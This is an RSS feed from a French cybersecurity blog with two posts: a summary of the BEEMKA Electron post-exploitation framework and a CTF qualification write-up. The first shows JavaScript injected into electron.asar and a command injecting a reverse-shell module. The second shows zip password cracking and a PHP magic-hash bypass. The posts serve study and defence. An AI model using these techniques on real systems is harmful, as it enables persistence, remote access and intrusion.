<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>compte rendu - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/tag/compte-rendu/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/tag/compte-rendu/</link>
	<description>Le blog cybersécurité des consultants Wavestone</description>
	<lastBuildDate>Wed, 07 Jul 2021 15:38:54 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>compte rendu - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/tag/compte-rendu/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>BEEMKA &#8211; Electron Post-Exploitation When The Land Is Dry</title>
		<link>https://www.riskinsight-wavestone.com/2019/08/beemka-electron-post-exploitation-when-the-land-is-dry/</link>
		
		<dc:creator><![CDATA[Rémi Escourrou]]></dc:creator>
		<pubDate>Thu, 29 Aug 2019 16:15:54 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[How to]]></category>
		<category><![CDATA[beemka]]></category>
		<category><![CDATA[compte rendu]]></category>
		<category><![CDATA[détection]]></category>
		<category><![CDATA[discord]]></category>
		<category><![CDATA[electron]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[Skype]]></category>
		<category><![CDATA[Slack]]></category>
		<category><![CDATA[vulnerability management]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15574</guid>

					<description><![CDATA[<p>Lors de les BSides Las Vegas 2019, Pavel « @ sadreck » Tsakalidis a présenté un nouveau framework de post-exploitation qui repose sur l’utilisation d’Electron par des « applications desktop ». Sa présentation démontre que l’utilisation massive d’Electron ces dernières...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2019/08/beemka-electron-post-exploitation-when-the-land-is-dry/">BEEMKA &#8211; Electron Post-Exploitation When The Land Is Dry</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><a style="margin-left: 1em; margin-right: 1em; text-align: center;" href="https://1.bp.blogspot.com/--k9GnoyEsSA/XWeNvLIgHmI/AAAAAAAAArc/MZmZ_YLU1tIfDG85RMpZVTRT_tYOvItFACLcBGAs/s1600/header.png"><img fetchpriority="high" decoding="async" src="https://1.bp.blogspot.com/--k9GnoyEsSA/XWeNvLIgHmI/AAAAAAAAArc/MZmZ_YLU1tIfDG85RMpZVTRT_tYOvItFACLcBGAs/s640/header.png" width="640" height="240" border="0" data-original-height="350" data-original-width="927" /></a></p>
<div style="text-align: justify;">
<div>Lors de les BSides Las Vegas 2019, Pavel « @ sadreck » Tsakalidis a présenté un nouveau framework de post-exploitation qui repose sur l’utilisation d’Electron par des « applications desktop ». Sa présentation démontre que l’utilisation massive d’Electron ces dernières années peut être utilisée pour injecter du code malveillant dans des applications légitimes.</div>
<div>Le projet peut être retrouvé sur le dépôt GitHub suivant : <a href="https://github.com/ctxis/beemka">https://github.com/ctxis/beemka</a>.</div>
</div>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Introduction</h3>
<div style="text-align: justify;">Electron est un framework permettant de développer des applications multiplateformes avec des technologies web (Javascript, HTLM et CSS).</div>
<div style="text-align: justify;">Son fonctionnement est assez simple, Electron utilise « node.js » en backend et « Chromium » en frontend :</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<figure id="post-15898 media-15898" class="align-none"><img decoding="async" class="alignnone size-medium wp-image-15898" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/2-BEEMKA-437x165.png" alt="" width="437" height="165" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/2-BEEMKA-437x165.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/2-BEEMKA-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/2-BEEMKA-768x290.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/2-BEEMKA.png 927w" sizes="(max-width: 437px) 100vw, 437px" /></figure>
<div style="text-align: center;"><span style="font-size: x-small;"><i>Components of Electron </i></span></div>
<div style="text-align: center;"><span style="font-size: x-small;"><i><a href="https://www.wildnettechnologies.com/build-cross-platform-desktop-apps-with-electron/">https://www.wildnettechnologies.com/build-cross-platform-desktop-apps-with-electron/</a></i></span></div>
<div></div>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Electron a notamment permis de développer des applications aujourd’hui incontournables en entreprise :</div>
<div style="text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-tnbHTpC5ffw/XWeNuKPtguI/AAAAAAAAAro/jl-POTPMvlAqpnWfA56w1MVllExfB5BBgCEwYBhgL/s1600/2.png"><img decoding="async" src="https://1.bp.blogspot.com/-tnbHTpC5ffw/XWeNuKPtguI/AAAAAAAAAro/jl-POTPMvlAqpnWfA56w1MVllExfB5BBgCEwYBhgL/s640/2.png" width="640" height="208" border="0" data-original-height="394" data-original-width="1201" /></a></div>
<div style="text-align: justify;"></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Applications Electron</span></i></div>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Principe de l’attaque</h3>
<div style="text-align: justify;">Les applications Slack, GitHub ou encore Microsoft Teams utilisent le dossier « App Data » lors de l’installation. Il est donc possible pour l’utilisateur d’accéder en écriture au répertoire d’installation.</div>
<div style="text-align: justify;">Toutes les applications Electron possèdent un dossier « resources » dans leur répertoire d&rsquo;installation :</div>
<div style="text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div><img decoding="async" class="aligncenter" src="https://1.bp.blogspot.com/-xw6deGNkoZI/XWeNuBTgTyI/AAAAAAAAArg/8Gm4R6E1tA0Ox8jFgFR6Fca7U5HkKcfkwCEwYBhgL/s1600/3.png" /></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Illustration avec GitHubDesktop</span></i></div>
<div style="text-align: center;"><i> </i></div>
<div style="text-align: justify;">Ce dossier contient généralement :</div>
<ul>
<li>Le dossier « app » qui contient l’application ;</li>
<li>Le fichier « electron.asar » qui prépare l’environnement Chronium au lancement de l’application.</li>
</ul>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le fichier « electron.asar » peut être considéré comme une archive qui contient des scripts « *.js » :</div>
<div style="text-align: justify;"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-16154" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beemka-js-437x37.png" alt="" width="437" height="37" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beemka-js-437x37.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beemka-js-71x6.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beemka-js.png 712w" sizes="auto, (max-width: 437px) 100vw, 437px" /></div>
<div></div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><img decoding="async" src="https://1.bp.blogspot.com/-G0TPjCyHF3c/XWeNuDmYBII/AAAAAAAAAro/OQ7CY0443e8i6GXHJwk_Z-_RAVK686RwgCEwYBhgL/s1600/4.png" /></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Conteneur « electron.asar »</span></i></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le fichier « chrome-extension.js » permet la gestion de l’environnement Chronium :</div>
<figure id="post-16156 media-16156" class="align-none"><img loading="lazy" decoding="async" class="size-medium wp-image-16156 alignleft" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beem-ka-2-437x23.png" alt="" width="437" height="23" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beem-ka-2-437x23.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beem-ka-2-71x4.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/08/code-beem-ka-2.png 714w" sizes="auto, (max-width: 437px) 100vw, 437px" /></figure>
<p>&nbsp;</p>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Pavel propose ainsi d’injecter directement dans ce fichier du code javascript, permettant de lancer une action malveillante lors d’un évènement spécifique :</div>
<p><span class="w-code"><span class="w-root">app</span>.on(&lsquo;<span class="w-server">browser-window-focus</span>&lsquo;, function (event, bWindow) { <span class="w-root">bWindow</span>.webContents.<span class="w-grepped">executeJavaScript</span>(« <span class="w-server">alert(Hello Github !!&rsquo;);</span>« ) }) </span></p>
<p>&nbsp;</p>
<div style="text-align: justify;">Lors de l’ouverture de l’application (après avoir packé le fichier « electron.asar » et redéposé dans le répertoire « resource »), un pop-up (XSS style) va s’ouvrir dans l’application GitHub Desktop :</div>
<div style="text-align: justify;"></div>
<div><img loading="lazy" decoding="async" class="aligncenter" src="https://1.bp.blogspot.com/-AvxSdvn3kMg/XWeNu780hcI/AAAAAAAAArk/_psRbes4m7YyzYT5icMD_mYD7xRT2YeXQCEwYBhgL/s1600/5.png" width="314" height="177" /></div>
<div style="text-align: justify;"></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Illustration avec GitHub Desktop</span></i></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le code est donc correctement exécuté.</div>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Démonstration</h3>
<div style="text-align: justify;">La vidéo suivante présente une démonstration du module « rshell_cmd » dans GitHub Desktop, permettant d’ouvrir un reverse shell vers notre listener :</div>
<div style="text-align: center;"><iframe loading="lazy" src="https://bit.ly/2PBBGb1" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<div>La commande utilisée est la suivante :</div>
<p><span class="w-code">$ <span class="w-cli">python3</span> ./beemka/beemka.py &#8212;<span class="w-cli">inject </span>&#8212;<span class="w-cli">module </span>rshell_cmd &#8212;<span class="w-cli">asar</span> ./electron_safe.asar &#8212;<span class="w-cli">output </span>./electron.asar</span></p>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">De plus, l’exécutable de l’application « GitHub Desktop » n’est jamais modifié durant la modification du fichier « asar ». Cette technique peut donc permettre de contourner une politique de filtrage présente sur le poste.</div>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Conclusion</h3>
<div style="text-align: justify;">Le framework présenté par Pavel est très intéressant pour compléter ses techniques de persistance. En effet, il se base sur le fonctionnement intrinsèque d’Electron et ne nécessite pas d’exploiter une vulnérabilité présente dans les applications.</div>
<div style="text-align: justify;">Le framework permet aussi d’aller plus loin en accédant aux données des applications mais aussi de réaliser d’autres opérations comme déposer un keylogger, prendre un Screenshot, …</div>
<div style="text-align: justify;">A ce jour, aucune solution n’était proposée par Electron pour mieux vérifier l’intégrité des fichiers des applications. Le plus simple est d’installer les applications dans « Programmes files » avec les privilèges administrateurs pour ne pas permettre à un utilisateur standard d’éditer le fichier « electron.asar ».</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Ps : BloodHound est aussi une application Electron, une bonne « blague » à faire aux équipes Red/Blue Team :</div>
<div style="text-align: center;"><iframe loading="lazy" src="https://bit.ly/2L30Yuk" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<div style="text-align: right;"></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h4>Références</h4>
</div>
<div style="text-align: justify;"><a href="https://www.contextis.com/en/blog/basic-electron-framework-exploitation">https://www.contextis.com/en/blog/basic-electron-framework-exploitation</a></div>
<div style="text-align: justify;"><a href="https://github.com/ctxis/beemka">https://github.com/ctxis/beemka</a></div>
<div style="text-align: justify;"><a href="https://electronjs.org/docs/tutorial/application-architecture">https://electronjs.org/docs/tutorial/application-architecture</a></div>
<div style="text-align: justify;"><a href="https://www.wildnettechnologies.com/build-cross-platform-desktop-apps-with-electron/">https://www.wildnettechnologies.com/build-cross-platform-desktop-apps-with-electron/</a></div>
<div style="text-align: justify;"></div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2019/08/beemka-electron-post-exploitation-when-the-land-is-dry/">BEEMKA &#8211; Electron Post-Exploitation When The Land Is Dry</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>[CTF] Writeup du round de qualification SIGSEGV1</title>
		<link>https://www.riskinsight-wavestone.com/2018/10/ctf-quals-rtfm/</link>
		
		<dc:creator><![CDATA[Jean Marsault]]></dc:creator>
		<pubDate>Thu, 18 Oct 2018 12:58:26 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[compte rendu]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[rtfm]]></category>
		<category><![CDATA[writeup]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15580</guid>

					<description><![CDATA[<p>&#160; Issus de la génération ayant connu le minitel, le bas-débit et les écrans cathodiques, l&#8217;équipe formant l&#8217;association RTFM a grandi avec une passion pour la technologie et les sujets qui s&#8217;y rattachent. L&#8217;objectif de l&#8217;association est de créer un...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/10/ctf-quals-rtfm/">[CTF] Writeup du round de qualification SIGSEGV1</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://2.bp.blogspot.com/-vb3Cd-d2WLQ/W8X464x5wTI/AAAAAAAAAi0/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs/s1600/_header.png"><img loading="lazy" decoding="async" src="https://2.bp.blogspot.com/-vb3Cd-d2WLQ/W8X464x5wTI/AAAAAAAAAi0/ZIWGEP3A7Tgg7XgBoiDCb8DMf_fdALRsACLcBGAs/s640/_header.png" width="640" height="300" border="0" data-original-height="300" data-original-width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">Issus de la génération ayant connu le minitel, le bas-débit et les écrans cathodiques, l&rsquo;équipe formant <b>l&rsquo;association RTFM</b> a grandi avec une passion pour la technologie et les sujets qui s&rsquo;y rattachent.</div>
<div class="separator" style="clear: both; text-align: justify;">L&rsquo;objectif de l&rsquo;association est de créer un événement français sur le thème de la sécurité informatique, qui se déroulera le <b>1er décembre 2018 à l&rsquo;école 42</b>.<br />
Celui-ci, nommé « <b>SIGSEGv1</b> » se baserait sur trois axes :</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<ul>
<li>Niveau technique avancé</li>
<li>Accessibilité géographique</li>
<li>Événement à taille humaine</li>
</ul>
<div style="text-align: justify;">Cet événement mettra en avant différents sujets tels que le Reverse Engineering, des démonstrations d&rsquo;attaques physiques ainsi que du hacking hardware et bas-niveau.</div>
<div class="separator" style="clear: both; text-align: justify;">L&rsquo;accès à l&rsquo;événement a été rendu possible sur validation de <i>challenges </i>de qualification, qui étaient <a href="https://qual.rtfm.re/" target="_blank" rel="noopener">disponibles</a> sur la période du 28 septembre au 12 octobre 2018. Plusieurs collaborateurs de Wavestone ont individuellement pris part à ces qualifications, dont nous présentons ci-dessous les <i>writeups</i>.</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<h2 style="clear: both; text-align: left;">Web-serveur : la simplicité (par ShrewkRoot)</h2>
<div>
<div style="text-align: justify;"><b>Description : </b>Bienvenue sur le site le plus simple du monde avec des failles basiques ! Aucun bruteforce n&rsquo;est necessaire. Merci de ne pas utiliser Dirbuster et outils équivalents sous peine d&rsquo;etre bannis sur le challenge.</div>
</div>
<div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Le site se présente sous la forme d&rsquo;une page blanche contenant une vidéo du rappeur Orelsan :</div>
<p>&nbsp;</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://4.bp.blogspot.com/-QY_EgD3XFKg/W8YB3RodG7I/AAAAAAAAAjI/bxu888dLlFkxHYfWncdDYFiiGeaGvD7XQCLcBGAs/s1600/1_1.png"><img loading="lazy" decoding="async" src="https://4.bp.blogspot.com/-QY_EgD3XFKg/W8YB3RodG7I/AAAAAAAAAjI/bxu888dLlFkxHYfWncdDYFiiGeaGvD7XQCLcBGAs/s640/1_1.png" width="640" height="316" border="0" data-original-height="409" data-original-width="826" /></a></div>
<p>&nbsp;</p>
<style type="text/css">
.sc0 { font-family: monospace !important; }<br />.sc1 { color: rgb(102, 116, 123); font-family: monospace !important; }<br />.sc3 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc4 { color: rgb(255, 132, 9); font-family: monospace !important; }<br />.sc6 { color: rgb(225, 226, 207); font-family: monospace !important; }<br />.sc8 { font-family: monospace !important; }<br />.sc9 { font-weight: bold; color: rgb(103, 140, 177); font-family: monospace !important; }<br />.sc18 { font-weight: bold; color: rgb(217, 85, 193); font-family: monospace !important; }<br />.sc119 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc121 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc122 { color: rgb(255, 205, 34); font-family: monospace !important; }<br />.sc123 { color: rgb(103, 140, 177); font-family: monospace !important; }<br />.sc127 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc118 { font-family: monospace !important; }<br />span.w-code { display: block; background-color: black; font-size: 10pt; color: rgb(224, 226, 228); white-space: pre-wrap; overflow-wrap: break-word; line-height: 14px; padding: 1%; font-family: monospace !important; }<br />.w-user { color: cornflowerblue; font-family: monospace !important; }<br />.w-root { color: lightcoral; font-family: monospace !important; }<br />.w-server { color: chartreuse; font-family: monospace !important; }<br />.w-cli { color: lightskyblue; font-family: monospace !important; }<br />.w-grepped { color: red; font-family: monospace !important; }<br />.w-all { font-family: monospace !important; }<br />.w-inline-code { color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 4px; padding: 2px 4px; font-family: monospace !important; }<br />.sc5 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc10 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc11 { font-family: monospace !important; }<br />.sc41 { font-family: monospace !important; }<br />.sc43 { color: rgb(129, 142, 150); font-family: monospace !important; }<br />.sc46 { font-family: monospace !important; }<br />.sc48 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc50 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc40 { font-family: monospace !important; }<br />.sc45 { color: rgb(255, 205, 34); font-family: monospace !important; }<br />.sc47 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc49 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc2 { color: rgb(255, 205, 34); font-family: monospace !important; }<br /></style>
<div style="text-align: justify;">Le premier réflexe à adopter dans ce cas est de s&rsquo;orienter sur la cartographie de l&rsquo;application : scan de ports, scans des dossiers, etc. Le challenge interdisant explicitement le bruteforce en ligne, ces solutions ne sont pas appliquées ici.</div>
<div style="text-align: justify;">En revanche, deux fichiers sont souvent présents sur les applications web et permettent de découvrir tout ou partie de l&rsquo;arborescence d&rsquo;un site :</div>
<ul>
<li><b>/sitemap.xml :</b> fichier XML contenant l&rsquo;arborescence des différentes sections</li>
<li><b>/robots.txt :</b> fichier txt visant à interdire le <i>crawling</i> de certaines sections aux robots</li>
</ul>
<div>
<div style="text-align: justify;">En naviguant sur le second, l&rsquo;application indique que le fichier <b>backup.zip</b> existe :</div>
</div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-aTPPckzLLRU/W8YB3NT0w9I/AAAAAAAAAjQ/nWrorUZjefYVdWnsIky0DMq1jcVVNvYUwCEwYBhgL/s1600/1_2.png"><img decoding="async" src="https://1.bp.blogspot.com/-aTPPckzLLRU/W8YB3NT0w9I/AAAAAAAAAjQ/nWrorUZjefYVdWnsIky0DMq1jcVVNvYUwCEwYBhgL/s1600/1_2.png" border="0" data-original-height="133" data-original-width="510" /></a></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: justify;">Le fichier <b>backup.zip</b> est bien accessible, et une fois téléchargé, demande un mot de passe pour l&rsquo;extraction :</div>
<div class="separator" style="clear: both; text-align: left;"></div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">unzip backup.zip</span><br />
Archive: backup.zip<br />
[backup.zip] index.php password: </span></p>
<div>
<div style="text-align: justify;">Il est facile de procéder au bruteforce de ce mot de passe à l&rsquo;aide de la liste <b>rockyou.txt</b> (présente par défaut sur Kali Linux) et de l&rsquo;outil <a href="https://github.com/hyc/fcrackzip" target="_blank" rel="noopener">fcrackzip</a> :</div>
</div>
<div></div>
<p><span class="w-code"><span class="w-user">iansus</span> @ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">fcrackzip -D -p rockyou.txt -u backup.zip</span></span><br />
PASSWORD FOUND!!!!: pw == <span class="w-grepped">passw0rd</span></p>
</div>
<div>
<div style="text-align: justify;">Le mot de passe est donc <i>passw0rd</i> et permet de récupérer la source du fichier PHP, ci-dessous :</div>
</div>
<div></div>
<div><span class="w-code"><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">include</span> <span class="sc119">« auth.php »</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc18">?&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;html&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;head&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;title&gt;</span><span class="sc0">Un site simple</span><span class="sc1">&lt;/title&gt;&lt;/title&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/head&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;body&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;center&gt;&lt;iframe</span> <span class="sc3">width</span><span class="sc8">=</span><span class="sc6">« 560 »</span> <span class="sc3">height</span><span class="sc8">=</span><span class="sc6">« 315 »</span> <span class="sc3">src</span><span class="sc8">=</span><span class="sc6">« https://www.youtube[.]com/embed/2bjk26RwjyU?rel=0&amp;amp;controls=0&amp;amp;showinfo=0 »</span> <span class="sc3">frameborder</span><span class="sc8">=</span><span class="sc6">« 0 »</span> <span class="sc4">allow</span><span class="sc8">=</span><span class="sc6">« autoplay; encrypted-media »</span> <span class="sc4">allowfullscreen</span><span class="sc1">&gt;&lt;/iframe&gt;&lt;/center&gt;</span><span class="sc0"><br />
</span><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc121">isset</span><span class="sc127">(</span><span class="sc123">$_POST</span><span class="sc127">[</span><span class="sc119">« h1 »</span><span class="sc127">]))</span><span class="sc118"><br />
</span><span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc123">$h1</span> <span class="sc127">=</span> <span class="sc121">md5</span><span class="sc127">(</span><span class="sc123">$_POST</span><span class="sc127">[</span><span class="sc119">« h1 »</span><span class="sc127">]</span> <span class="sc127">.</span> <span class="sc119">« Shrewk »</span><span class="sc127">);</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc119">« h1 vaut: « </span><span class="sc127">.</span><span class="sc123">$h1</span><span class="sc127">.</span><span class="sc119">« &lt;/br&gt; »</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc123">$h1</span> <span class="sc127">==</span> <span class="sc119">« 0 »</span><span class="sc127">)</span><span class="sc118"><br />
</span><span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc119">« &lt;!&#8211;Bien joué le flag est « </span><span class="sc127">.</span><span class="sc123">$flag</span><span class="sc127">.</span><span class="sc119">« &#8211;&gt; »</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc18">?&gt;</span><span class="sc0"><br />
</span><span class="sc9">&lt;!&#8211; Si une méthode ne fonctionne pas il faut en utiliser une autre &#8211;&gt;</span><span class="sc0"><br />
</span><span class="sc9">&lt;!&#8211; Un formulaire c&rsquo;était pas assez simple donc on en a pas mis &#8211;&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/body&gt;</span><span class="sc0"><br />
</span><span class="sc1">&lt;/html&gt;</span></span></p>
<div style="text-align: justify;">Le script récupère la valeur du paramètre GET <b>h1</b> et la concatène à la chaîne <b>Shrewk</b> avant d&rsquo;en calculer l&#8217;empreinte MD5. Cette empreinte est ensuite comparée à la chaîne <b>0</b> à l&rsquo;aide de l&rsquo;opérateur <b>==</b>.</div>
<div style="text-align: justify;">En temps normal, cette condition n&rsquo;est pas réalisable, puisque la sortie de la fonction <b>md5()</b> a pour longueur fixe 32. En revanche, puisque l&rsquo;opérateur de comparaison faible (en opposition à la comparaison forte avec l&rsquo;opérateur <b>===</b>) est utilisé, <a href="http://php.net/manual/fr/types.comparisons.php" target="_blank" rel="noopener">il est possible d&rsquo;en abuser</a>. Notamment, toute chaine de caractère débutant par <b>0e</b> et se terminant par une suite de chiffres est faiblement égale à la chaîne <b>0</b>.</div>
<div style="text-align: justify;">Les statistiques sont de notre côté, il n&rsquo;est pas si improbable d&rsquo;obtenir une telle chaîne en calculant l&#8217;empreinte d&rsquo;une chaîne aléatoire :</div>
<p><span class="w-code"><span class="sc18">&lt;?php</span><span class="sc118"><br />
</span><span class="sc121">while</span><span class="sc127">(</span><span class="sc122">1</span><span class="sc127">)</span> <span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc123">$a</span> <span class="sc127">=</span> <span class="sc121">microtime</span><span class="sc127">(</span><span class="sc121">true</span><span class="sc127">);</span><span class="sc118"><br />
</span><span class="sc121">if</span><span class="sc127">(</span><span class="sc121">md5</span><span class="sc127">(</span><span class="sc123">$a</span><span class="sc127">.</span><span class="sc119">« Shrewk »</span><span class="sc127">)==</span><span class="sc119">« 0 »</span><span class="sc127">)</span> <span class="sc127">{</span><span class="sc118"><br />
</span><span class="sc121">echo</span> <span class="sc123">$a</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc121">break</span><span class="sc127">;</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc127">}</span><span class="sc118"><br />
</span><span class="sc18">?&gt;</span></span></p>
<div class="separator" style="clear: both; text-align: left;"></div>
<div style="text-align: justify;">La première chaîne de caractère validant la condition est trouvée en une vingtaine de minutes, et permet de valider le challenge :</div>
<p>&nbsp;</p>
</div>
<p><span class="w-code"><span class="w-user">iansus</span> @ <span class="w-server">iansus-server</span> ~/rtfm/quals/simple % <span class="w-cli">curl -X POST http://iansus.net:4444 &#8211;data &lsquo;h1=1539722573.8918&rsquo; -s | grep sigsegv</span><br />
h1 vaut: 0e633901513385170308561908425699&lt;/br&gt;&lt;!&#8211;Bien joué le flag est <span class="w-grepped">sigsegv</span>{a1a29afa647a20758e64b49d8eb453f4}&#8211;&gt;&lt;!&#8211; Si une méthode ne fonctionne pas il faut en utiliser une autre &#8211;&gt;</span></p>
<h2 style="clear: both;">App-script : Fun avec Python (par laxa)</h2>
<div>
<div style="text-align: justify;"><b>Description : </b>J&rsquo;ai commencé à développer des modules pour python, c&rsquo;est marrant. Je suis presque sûr que tout est sécurisé jusqu&rsquo;à présent.<br />
<span class="w-inline-code">ssh -p4443 chall@51.158.73.218 &#8211; mdp: e92b1b12c450afd60faa9f43cff5412e</span></div>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">La première étape est par conséquent de se connecter en SSH sur ce serveur pour découvrir l&rsquo;environnement:</div>
<p><span class="w-code"><span class="w-user">iansus </span>@ <span class="w-server">iansus-server</span> ~/rtfm/Qualifications-2018 % <span class="w-cli">ssh -p 4443 chall@iansus.net</span><br />
chall@iansus.net&rsquo;s password:<br />
Linux 4e5d88350bfc 4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u4 (2018-08-21) x86_64<br />
The programs included with the Debian GNU/Linux system are free software;<br />
the exact distribution terms for each program are described in the<br />
individual files in /usr/share/doc/*/copyright.<br />
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br />
permitted by applicable law.<br />
aaaaaaaaaaaaaaaaaaaaaa<br />
<span class="w-user">chall</span>@<span class="w-server">4e5d88350bfc</span>:~$ <span class="w-cli">ls -l</span><br />
total 16<br />
-r&#8211;r&#8212;&#8211; 1 root chall-pwned 21 Oct 16 17:13 flag<br />
-rwxr-xr-x 1 root root 307 Oct 16 17:13 hello-world.py<br />
